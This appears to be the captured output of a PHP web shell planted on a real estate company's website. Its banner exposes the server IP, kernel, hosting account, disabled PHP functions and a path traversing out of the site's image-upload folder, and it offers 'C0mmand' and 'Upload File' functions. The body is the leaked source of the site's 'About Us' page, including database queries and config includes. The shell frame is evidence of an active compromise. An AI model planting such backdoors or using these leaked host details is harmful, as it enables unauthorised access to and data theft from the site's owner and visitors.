|
Server IP : 145.79.210.100 / Your IP : 216.73.216.101 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/admin/upload_image/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include('admin/config.php'); ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-----fav-icon css link-->
<link rel="icon" type="images/x-icon" href="./images/excentia-logo.png">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<!----font awesome cdn-------->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<!-----Custom css-->
<link rel="stylesheet" href="./sass/style.css">
<!-----owl carousel css link-->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/assets/owl.carousel.min.css">
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<title>About Us</title>
<style>
.owl-prev{
position: absolute;
left: -6%;
bottom: 40%;
}
.owl-prev span{
color: #ffffff;
font-size: 50px;
}
.owl-next{
position: absolute;
right: -6%;
bottom: 40%;
}
.owl-next span{
color: #ffffff;
font-size: 50px;
}
#nav-wrap{
opacity: 1;
animation: none;
}
#first{
display: block;
}
.logo #second{
display: none;
width: 36%;
}
.second .parent .left_part .logo_part {
width: 80%;
}
.credi-logo{
width: 230px;
height: auto;
margin-top: 40px;
}
.credi-logo img{
width: 100%;
height: auto;
}
@media(max-width:750px){
.second .parent .left_part .logo_part {
width: 50%;
}
.owl-next span {
color: #ffffff;
font-size: 25px;
}
.owl-prev span {
color: #ffffff;
font-size: 25px;
}
}
</style>
</head>
<body>
<?php include('menu.php');?>
<!-- <section class="second-sec">
<div class="head">
<h3>About Us</h3>
</div>
<div class="main-title">
<span>Experience</span>
<h1>your home <br/>with us</h1>
<div class="para-text">
At Excentia Infra, we've been shaping the skyline of Delhi NCR since 1986 with a steadfast commitment to integrity and excellence. In the past year alone, we've proudly delivered over 600,000 sqft of residential and retail spaces, with another 2.4 million sqft currently in development across Noida, Kota, and Dehradun. Our holistic approach, blending world-class design, flawless execution, and innovative marketing, ensures unparalleled value for our customers. With a dedicated team and a relentless pursui of quality, we're redefining real estate with every project.
</div>
<div class="bottom-logo">
<img src="images\bottom-logo.png" alt="">
</div>
</div>
</section> -->
<section class="second">
<?php
$sql = "SELECT * FROM tbl_about_us_first_content";
$result = mysqli_query($conn, $sql);
if($result-> num_rows > 0){
$row = $result->fetch_assoc();
?>
<h3 class="caption" data-aos="fade-up">About Us<span class="underline"></span></h3>
<?php echo $row['title']; ?>
<!--<span data-aos="fade-up">Experience</span>-->
<!--<h1 data-aos="fade-up">your home</h1>-->
<!--<div class="parent">-->
<!-- <div class="left_part">-->
<!-- <h1 data-aos="fade-up">with us</h1> -->
<div class="logo_part" data-aos="fade-up">
<img src="images\logo_part.png" alt="">
</div>
</div>
<div class="right_part" data-aos="fade-up">
<?php echo $row['content']; ?>
<div class="credi-logo">
<p style=" color: #b87b2c; font-weight: bold; font-size: 25px; padding: 0; margin: 0 0 2px 0;">Member of Credai</p>
<img src="images/credi.png">
</div>
</div>
</div>
<?php } ?>
</section>
<section class="third-sec">
<div class="mid-image owl-carousel">
<?php
$sql2 = "SELECT * FROM tbl_about_slider ";
$result2 = mysqli_query($conn, $sql2);
if($result2-> num_rows > 0){
while($row2 =mysqli_fetch_array($result2)){?>
<div class="img" class="item" data-aos="zoom-in">
<img src="admin/upload_image/<?php echo $row2['image']; ?>" alt="<?php echo $row2['title']; ?>">
</div>
<?php }
}
?>
<!--<div class="img" class="item" data-aos="zoom-in">-->
<!-- <img src="./images/about-img-2.jpg" alt="">-->
<!--</div>-->
<!--<div class="img" class="item" data-aos="zoom-in">-->
<!-- <img src="./images/about-img-1.jpg" alt="">-->
<!--</div>-->
<!--<div class="img" class="item" data-aos="zoom-in">-->
<!-- <img src="./images/about-img-2.jpg" alt="">-->
<!--</div>-->
</div>
</section>
<section class="onscroll-logo">
<div class="logo-container">
<div class="firstpart">
<img src="./images/1.png" alt="">
</div>
<div class="secondpart">
<img src="./images/2.png" alt="">
</div>
<div class="thirdpart">
<img src="./images/3.png" alt="">
</div>
<div class="fourthpart">
<img src="./images/4.png" alt="">
</div>
<div class="fifthpart">
<img src="./images/5.png" alt="">
</div>
</div>
</section>
<?php
$sql1 = "SELECT * FROM tbl_about_us_second_content ";
$result1 = mysqli_query($conn, $sql1);
if($result1-> num_rows > 0){
$row1 = $result1->fetch_assoc();
?>
<section class="fifth-sec">
<div class="left-container">
<!-- <h3 data-aos="fade-up">Exhubaretnt</h3>-->
<!-- <h1 data-aos="fade-up">dream in</h1>-->
<!-- <div class="main_parent">-->
<!-- <div class="left_part">-->
<!-- <h1 data-aos="fade-up">making</h1>-->
<?php echo $row1['title']; ?>
<div data-aos="fade-up" class="bottom_img">
<img src="admin/upload_image/<?php echo $row1['image']; ?>" alt="">
</div>
</div>
<div class="right_part" data-aos="fade-up">
<!--Our vision of Building a Sustainable Life transcends boundaries, catering to diverse geographies, markets, and consumer segments. Through the deployment of skilled professionals and best-in-class processes, we aspire to pioneer innovative developments in residential, retail, and office spaces. Our objective is to deliver superior spaces while upholding cost-efficiency and prioritizing social and environmental responsibility, thereby fostering a well-rounded impact on communities.-->
<?php echo $row1['content']; ?>
</div>
</div>
</div>
</section>
<?php } ?>
<?php include('footer.php');?>
<!-------custom js-->
<script src="./js/commonMenu.js"></script>
<!-----bootstrap5 script link----->
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js" integrity="sha384-cVKIPhGWiC2Al4u+LWgxfKTRIcfu0JTxR+EQDz/bgldoEyl4H0zUF0QKbrJ0EcQF" crossorigin="anonymous"></script>
<!------owl carousel script link-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.2/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/owl.carousel.min.js"></script>
<script>
$('.owl-carousel').owlCarousel({
loop: true,
nav: true,
smartSpeed: 1000,
margin:25,
loop:true,
navText: [
"<span>⟵</span>",
"<span>⟶</span>"
],
autoplay: false,
responsive: {
0: {
items: 1
},
600: {
items: 1
},
1000: {
items: 2
}
}
});
</script>
<!-------gsap scroll-trigger js link-->
<script src="https://unpkg.co/gsap@3/dist/gsap.min.js"></script>
<script src="https://unpkg.com/gsap@3/dist/ScrollTrigger.min.js"></script>
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script>
gsap.registerPlugin(ScrollTrigger);
gsap.fromTo(
'.firstpart',
{ xPercent: -550 }, // It Starts on the rights
{
xPercent: 500, // It Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
//pin: 'header',
//trigger: '.fourth_part',
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.secondpart',
{ xPercent:-450 }, //It Starts on the rights
{
xPercent: 400, //It Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
//pin: 'header',
//trigger: '.fourth_part',
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.fourthpart',
{ xPercent: 350 }, //Starts on the rights
{
xPercent: -300, // Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.fifthpart',
{ xPercent:550 }, // it Starts on the rights...
{
xPercent: -550, // it Moves to the left...
ease: 'power1.inOut',
scrollTrigger: {
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
</script>
<script>
AOS.init({
duration:1500
});
</script>
<script>
window.onscroll = function() {myFunction()};
logo_1= document.querySelector("#first");
logo_2=document.querySelector("#second");
function myFunction() {
if (document.documentElement.scrollTop > 50) {
logo_1.style.display="none";
logo_2.style.display="block";
document.querySelector(".nav_wrap").style.backgroundColor="rgb(255, 255, 255)"
} else {
logo_1.style.display="block";
logo_2.style.display="none";
document.querySelector(".nav_wrap").style.backgroundColor="transparent"
}
}
</script>
</body>
</html>